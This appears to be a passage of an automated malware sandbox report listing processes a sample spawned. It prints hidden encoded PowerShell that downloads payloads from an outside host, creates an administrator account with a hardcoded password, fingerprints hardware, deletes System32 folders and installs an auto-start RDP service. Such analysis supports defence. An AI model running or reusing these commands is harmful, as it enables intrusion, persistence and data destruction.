HMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1398.tmp" "c:\Users\user\AppData\Local\Temp\cmtdzwyg\CSC242A5CAAB1D0469F832A574E762FFEC7.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=

Source: unknown	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /v /k "powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -encodedcommand "uwb0ageacgb0ac0auabyag8aywblahmacwagahaabwb3aguacgbzaggazqbsagwaiaatafcaaqbuagqabwb3afmadab5agwazqagaggaaqbkagqazqbuacaalqbbahiazwb1ag0azqbuahqatabpahmadaagacialqbxagkabgbkag8adwbtahqaeqbsaguaiabiagkazabkaguabgaiacwaiaaiac0atgbvaewabwbnag8aigasacaaigatae4abwbqahiabwbmagkabablacialaagacialqbfahgazqbjahuadabpag8abgbqag8ababpagmaeqagaeiaeqbwageacwbzacialaagacialqbfag4aywbvagqazqbkaemabwbtag0ayqbuagqaiabtafeaqgbgaeeargbnaeeasqbbaeeabwbbaeyacwbbafyaqqbcaeyaqqbgagcaqqbwaeeaqqb1aeearqbvaeeavabnaeiaagbbaeuaoabbafiaqqbcahaaqqbfadqaqqbsahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeargbraeeavqb3aeiamabbaegasqbbafmauqbcae8aqqbhagmaqqblaeeaqqbvaeearqbraeeavgb3aeiaeqbbaemaqqbbaesaqqbcagiaqqbgae0aqqblafeaqgb6aeeasabraeeawgbraeiadabbaemanabbafyaqqbcagwaqqbiagcaqqbkaeeaqqb1aeearqbvaeeaygbnaeiaagbbaecaoabbafoaqqbcahaaqqbhadqaqqbaahcaqgbkaeearabvaeeatwbnaeiavgbbaeyauqbbafiazwbbadqaqqbdadqaqqbsahcaqgbsaeeasabraeeavqb3aeiamabbaegasqbbageauqbcahuaqqbhagmaqqblaeeaqgbiaeearqbnaeeaygb3aeiadqbbaegawqbbafoauqbcahkaqqbiafeaqqbyafeaqqa2aeearabvaeeaugbnaeiaeqbbaecaoabbagiauqbcaemaqqbhaeuaqqbjahcaqgbsaeearabzaeeatgbbaeiavabbaegauqbbagmazwbcahaaqqbhadqaqqbaahcaqqbvaeeaqwbjaeeawqbraeiasqbbaeyasqbbae0aqqbcagoaqqbfagcaqqbuafeaqqayaeearqb3aeeazqbraeeanqbbaecabwbbafkazwbbahkaqqbfadqaqqbkagcaqgbpaeeargbjaeeavgbnaeeadwbbaecarqbbafiadwbbaduaqqbhahmaqqbxagcaqgbuaeearabvaeeayqb3aeiayqbbaeyatqbbae8auqbcahqaqqbgagsaqqbhahcaqgb2aeearabfaeeavwbnaeiawqbbaecaywbbafaauqbbagkaqqbdagsaqqblafeaqqbwaeeaqwbraeeatabnaeiarabbaeuaoabbagiazwbcadaaqqbhafuaqqbiagcaqgawaeeaqwbraeeaswbraeeapqaiaa=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand sqbfafgaiaaoafsavabfafgavaauaeuatgbjae8arabpae4arwbdadoaogbvafqarga4ac4arwblafqauwb0ahiasqboagcakaaoaekavwbyacaakabbafmaeqbzahqazqbtac4avablahgadaauaeuabgbjag8azabpag4azwbdadoaogbvafqarga4ac4arwblahqauwb0ahiaaqbuagcakabbaemabwbuahyazqbyahqaxqa6adoargbyag8abqbcageacwbladyanabtahqacgbpag4azwaoaciayqbiafiamabjaegatqa2aewaeqa5agoaygayae4adgbiafcavgawagearwa5agsawgbtaduaawbaafmaoqbtafkaawbvadeawgbyagcapqaiackakqapackalgbdae8abgb0aguabgb0ackakqa=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start /min "" powershell.exe -windowstyle hidden -nologo -noprofile -executionpolicy bypass -encodedcommand jab1ahiaaqagad0aiaaiaggadab0ahaacwa6ac8alwbjag8aywbvag0azqb0aggabwbkagualgbkagualwbmagkababladialwa1ageamaa0adcamqbladcaoqa2adcangbmadyaoqa2adaazgayadyaoabhagqazga0admamqa2adqaywbiadgazgbjadganabkagmazqa4adaamaa3ageamga0ageaoabjadkaygbjagyangbhagmazgawaduaywayagyanaazagyamqblaguanqaxadgamqbmagmanwayaguanqbladgayqazageazga1agqazqa4adqayqayaguazgbkagyanaa2aduanqa2agmazqa0agiamqa4agyaoqbhadkamaa1adgazgawadiaygbhaguazqbiagiayqa0adcaoqa1adcazgbmadkayqawadaazgbkadmaywbiagqazga1ageazgbkagianaa1aduanablagyaoqa1agqamqa1adyaygbkaguamqa1admayqa0adeamga4admamwazaguamqaxadgazqbhadqanwbkadeazqa3adyanqbiagqamaa0adiayqbkadqazgbladaaywbladcanaayagiamqaxadqazabmadiamgayaduazabladuamga1adkazaazadkamgazadaaiga7aa0acgakagmabwb1ag4adaagad0aiaaxadaamaa7aa0acganaaoadqakaa0acgbmahuabgbjahqaaqbvag4aiabtaguabgbkacaaewanaaoaiaagacaaiabwageacgbhag0akaagafsauabtae8aygbqaguaywb0af0aiaakagwabwbnae0acwbnacaakqanaaoadqakacaaiaagacaaiwagaemabwbuahyazqbyahqaiabiag8azab5acaadabvacaacwb0ahiaaqbuagcadqakacaaiaagacaajabzahqacgbpag4azwbcag8azab5acaapqagafsacwb0ahiaaqbuagcaxqaoacqababvagcatqbzagcaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuackaowanaaoaiaagacaaiaakagwabwbnae0azqbzahmayqbnaguacwagad0aiabaacgakqa7aa0acgagacaaiaagacqababvagcatqblahmacwbhagcazqbzacaakwa9acaajabzahqacgbpag4azwbcag8azab5adsadqakacaaiaagacaajabsag8azwbnaguacwbzageazwblahmaiaarad0aiaaiac0alqatac0alqatac0alqatac0aiga7aa0acganaaoaiaagacaaiaakaggazqbhagqazqbyahmaiaa9acaaqab7ah0aowanaaoaiaagacaaiaakagsazqb5acaapqagaciaqwbvag4adablag4adaatafqaeqbwaguaiga7aa0acgagacaaiaagacqadgbhagwadqblacaapqagaciayqbwahaababpagmayqb0agkabwbuac8aagbzag8abgaiadsadqakaa0acgagacaaiaagacqaaablageazablahiacwbbacqaawblahkaxqagad0aiaakahyayqbsahuazqa7aa0acgagacaaiaagacqadqbyagkaiaa9acaaigbmae8arwbvafiataaiadsadqakacaaiaagacaadabyahkadqakacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaakagiabwbkahkaiaa9acaajabsag8azwbnaguacwbzageazwblahmaiab8acaaqwbvag4adgblahiadabuag8alqbkahmabwbuadsadqakacaaiaagacaaiaagacaaiaagacaaiaagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbnaguadaboag8azaagafaabwbzahqaiaataegazqbhagqazqbyahmaiaakaggazqbhagqazqbyahmaiaataeiabwbkahkaiaakagiabwbkahkadqakacaaiaagacaaiaagacaaiab9aa0acgagacaaiaagacaaiaagacaaywbhahqaywboahsadqakacaaiaagacaaiaagacaaiaagacaaiaagaa0acgagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaanaaoafqanaaoadqakahcaaabpagwazqaoacqaywbvahuabgb0acaalqbnahqaiaawackadqakahsadqakaakadqakaakadabyahkaewanaaoaiaagacaaiaagacaaiaagafmazqbuagqaiaaiagiazqbnagkabgagagqabwb3ag4ababvageazaagacqadqbyagkaiga7aa0acgajaakajabjag8abgb0aguabgb0acaapqagaekabgb2ag8aawblac0avwblagiaugblaheadqblahmadaagac0avqbyagkaiaakahuacgbpacaalqbvahmazqbcageacwbpagmauabhahiacwbpag4azwa7aa0acgagacaaiaagacaaiaagacaajabiahkadablaeeacgbyageaeqagad0aiaakagmabwbuahqazqbuahqalgbjag8abgb0aguabgb0adsadqakacaaiaagacaaiaagacaaiabmag8acgagacgajabpac
